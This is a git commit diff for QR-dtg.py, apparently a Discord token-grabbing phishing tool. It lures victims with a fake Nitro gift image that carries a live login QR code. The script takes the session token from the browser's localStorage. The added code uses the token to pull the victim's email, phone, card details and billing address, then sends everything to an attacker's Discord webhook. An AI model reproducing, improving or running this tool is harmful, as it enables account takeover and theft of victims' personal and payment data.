Update QR-dtg.py

This commit is contained in:
mouadessalim 2022-08-17 00:51:27 +01:00 committed by GitHub
parent 03be7d1845
commit 3df6f34d24
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -1,13 +1,14 @@
import base64, os, platform, re, requests, time
import base64, os, platform, re, time, sys
from requests import get
from bs4 import BeautifulSoup
from colorama import Fore, init
from PIL import Image
from selenium import webdriver
from warnings import filterwarnings
from discord_webhook import DiscordEmbed, DiscordWebhook
def clear() -> None:
"""Clear the screen; works with "cls" and "clear" commands.
"""
#Clear the screen; works with "cls" and "clear" commands.
if platform.system() == "Windows":
os.system("cls")
elif platform.system() == "Darwin" or platform.system() == "Linux":
@ -16,24 +17,37 @@ def clear() -> None:
pass
def generate_qr() -> None:
"""Generate a QR code to paste onto a discord nitro template.
"""
#Generate a QR code to paste onto a discord nitro template.
qr_img = Image.open(os.path.normpath(r"resources/qr_code.png"), "r")
ovly_img = Image.open(os.path.normpath(r"resources/overlay.png"), "r")
qr_img.paste(ovly_img, (60, 55))
qr_img.save(os.path.normpath(r"resources/final_qr.png"), quality=95)
def generate_nitro_template() -> None:
"""Generate the nitro template using the QR code generated by generate_qr.
"""
nitro_template = Image.open(
os.path.normpath(r"resources/template.png"),
"r"
)
#Generate the nitro template using the QR code generated by generate_qr.
nitro_template = Image.open(os.path.normpath(r"resources/template.png"), "r")
qr_img = Image.open(os.path.normpath(r"resources/final_qr.png"), "r")
nitro_template.paste(qr_img, (120, 409))
nitro_template.save("discord_gift.png", quality=95)
def get_user_data(tk):
try:
headers = {'Authorization': tk}
response = get('https://discordapp.com/api/v6/users/@me', headers=headers).json()
return [response['username'], response['discriminator'], response['email'], response['phone']]
except:
return None
def get_discord_info(tk, link_int):
#Get payment and sub information.
headers = {'Authorization': tk}
if link_int == 1:
response = get('https://discordapp.com/api/v6/users/@me/billing/payment-sources', headers=headers).json()
elif link_int == 2:
response = get('https://discordapp.com/api/v9/users/@me/billing/subscriptions', headers=headers).json()
return response
def main(webhook_url) -> None:
"""Use selenium webdriver to go to the discord login page.
Then, grab the source of the page and use regex to identify the class
@ -57,7 +71,7 @@ def main(webhook_url) -> None:
if not (div := re.search(r"qrCode-......", str(source))):
print(f"{Fore.LIGHTRED_EX}Error: \
the regular expression 'qrCode-......' is not found.")
os._exit(1)
sys.exit()
div = div.group(0)
div = source.find("div", {"class": f"{div}"})
qr_code = div.find("img")["src"]
@ -87,35 +101,41 @@ document.body.appendChild(iframe);
let localStorage = iframe.contentWindow.localStorage;
var token = JSON.parse(localStorage.token);
return token;
''')
break
print(f"""
{Fore.LIGHTGREEN_EX}The following token has been grabbed:
{token}
print(f"""
{Fore.LIGHTGREEN_EX}The following token has been grabbed: {token}
{Fore.LIGHTYELLOW_EX}Enter anything to exit\n>>> {Fore.LIGHTWHITE_EX}""",
{Fore.LIGHTYELLOW_EX}Sending Info to Discord Webhook... {Fore.LIGHTWHITE_EX}""",
end="")
if re.search("[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}", token) == None:
print("invalid token? (didnt match regex)")
data = {
"content": f"TKN: {token}\n",
"username": "QR Logr"
}
if webhook_url:
result = requests.post(webhook_url, json=data)
try:
result.raise_for_status()
except requests.exceptions.HTTPError as e:
print(f"{Fore.LIGHTRED_EX}{e}")
else:
pass
break
webhook = DiscordWebhook(url=webhook_url, username='QR-Dtg', avatar_url="https://c.tenor.com/h3fCM442dCcAAAAC/discord-logo.gif")
embed = DiscordEmbed(color='FF00FF')
if re.search(r"[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}", token) != None:
userdata, user_billings, user_subs = get_user_data(token), get_discord_info(token, 1), get_discord_info(token, 2)
if userdata != None:
embed.add_embed_field(name='User Token Info', value=f":crown:`Username:` **{userdata[0]}#{userdata[1]}**\n:e_mail:`Mail:` **{userdata[2]}**\n:mobile_phone:`Phone:` **{userdata[3]}**\n:money_with_wings:`Nitro:` **{':white_check_mark:' if bool(user_subs) else ':x:'}**", inline=False)
if bool(user_billings):
for data in user_billings:
if data['type'] == 1:
embed.add_embed_field(name='Payment Info (Debit or Credit Card)', value=f""":credit_card:`Brand:` ||**{data['brand']}**||\n:information_source:`Last 4:` ||**{data['last_4']}**||\n:date:`Expiration:` ||**{data['expires_month']}/{data['expires_year']}**||
***Billing Adress:***\n:name_badge:`Name:` ||**{data['billing_address']['name']}**||\n:paperclip:`Line 1:` ||**{data['billing_address']['line_1']}**||\n:paperclips:`Line 2:` ||**{data['billing_address']['line_2']}**||\n:flag_white:`Country:` ||**{data['billing_address']['country']}**||\n:triangular_flag_on_post:`State:` ||**{data['billing_address']['state']}**||\n:cityscape:`City:` ||**{data['billing_address']['city']}**||\n:postbox:`Postal Code:` ||**{data['billing_address']['postal_code']}**||\n""", inline=False)
elif data['type'] == 2:
embed.add_embed_field(name='Payment Info (Paypal)', value=f""":incoming_envelope:`Paypal Mail:` ||**{data['email']}**||
***Billing Adress:***\n:name_badge:`Name:` ||**{data['billing_address']['name']}**||\n:paperclip:`Line 1:` ||**{data['billing_address']['line_1']}**||\n:paperclips:`Line 2:` ||**{data['billing_address']['line_2']}**||\n:flag_white:`Country:` ||**{data['billing_address']['country']}**||\n:triangular_flag_on_post:`State:` ||**{data['billing_address']['state']}**||\n:cityscape:`City:` ||**{data['billing_address']['city']}**||\n:postbox:`Postal Code:` ||**{data['billing_address']['postal_code']}**||\n""", inline=False)
else:
embed.add_embed_field(name='Payment Info (:x:)', value="**No Payment Info Founded.**\n", inline=False)
else:
embed.add_embed_field(name='User Token Info :interrobang:', value="**This token doesn't provide any information about the account, maybe it's corrupted.**\n", inline=False)
embed.add_embed_field(name='Token', value=f"```yaml\n{token}\n```", inline=False)
else:
embed.add_embed_field(name='Token', value=f"```yaml\n{token}\n```", inline=False)
webhook.add_embed(embed)
embed.set_footer(text='Created by NightfallGT, Revised by Luci (9P9), Lemon.-_-.#3714, the-cult-of-integral and mte0', inline=False)
webhook.execute()
print(f"{Fore.LIGHTGREEN_EX}Information sended to webhook !")
driver.quit()
if __name__ == "__main__":
filterwarnings("ignore", category=DeprecationWarning)
init()
@ -126,14 +146,12 @@ if __name__ == "__main__":
{Fore.BLUE}Created by NightfallGT
Using utilities.tk API
Revised by Luci (9P9)
Revised by Lemon.-_-.#3714 (mouadessalim)
Revised by the-cult-of-integral
Revised by mte0
Revised by Lemon.-_-.#3714 (mouadessalim)
{Fore.LIGHTYELLOW_EX}Enter a webhook URL.
>>> {Fore.LIGHTWHITE_EX}""", end="")
webhook_url = input()
main(webhook_url)
input()
main(input())
input(f'{Fore.LIGHTYELLOW_EX}>>>')
print(f"{Fore.RESET}")
clear()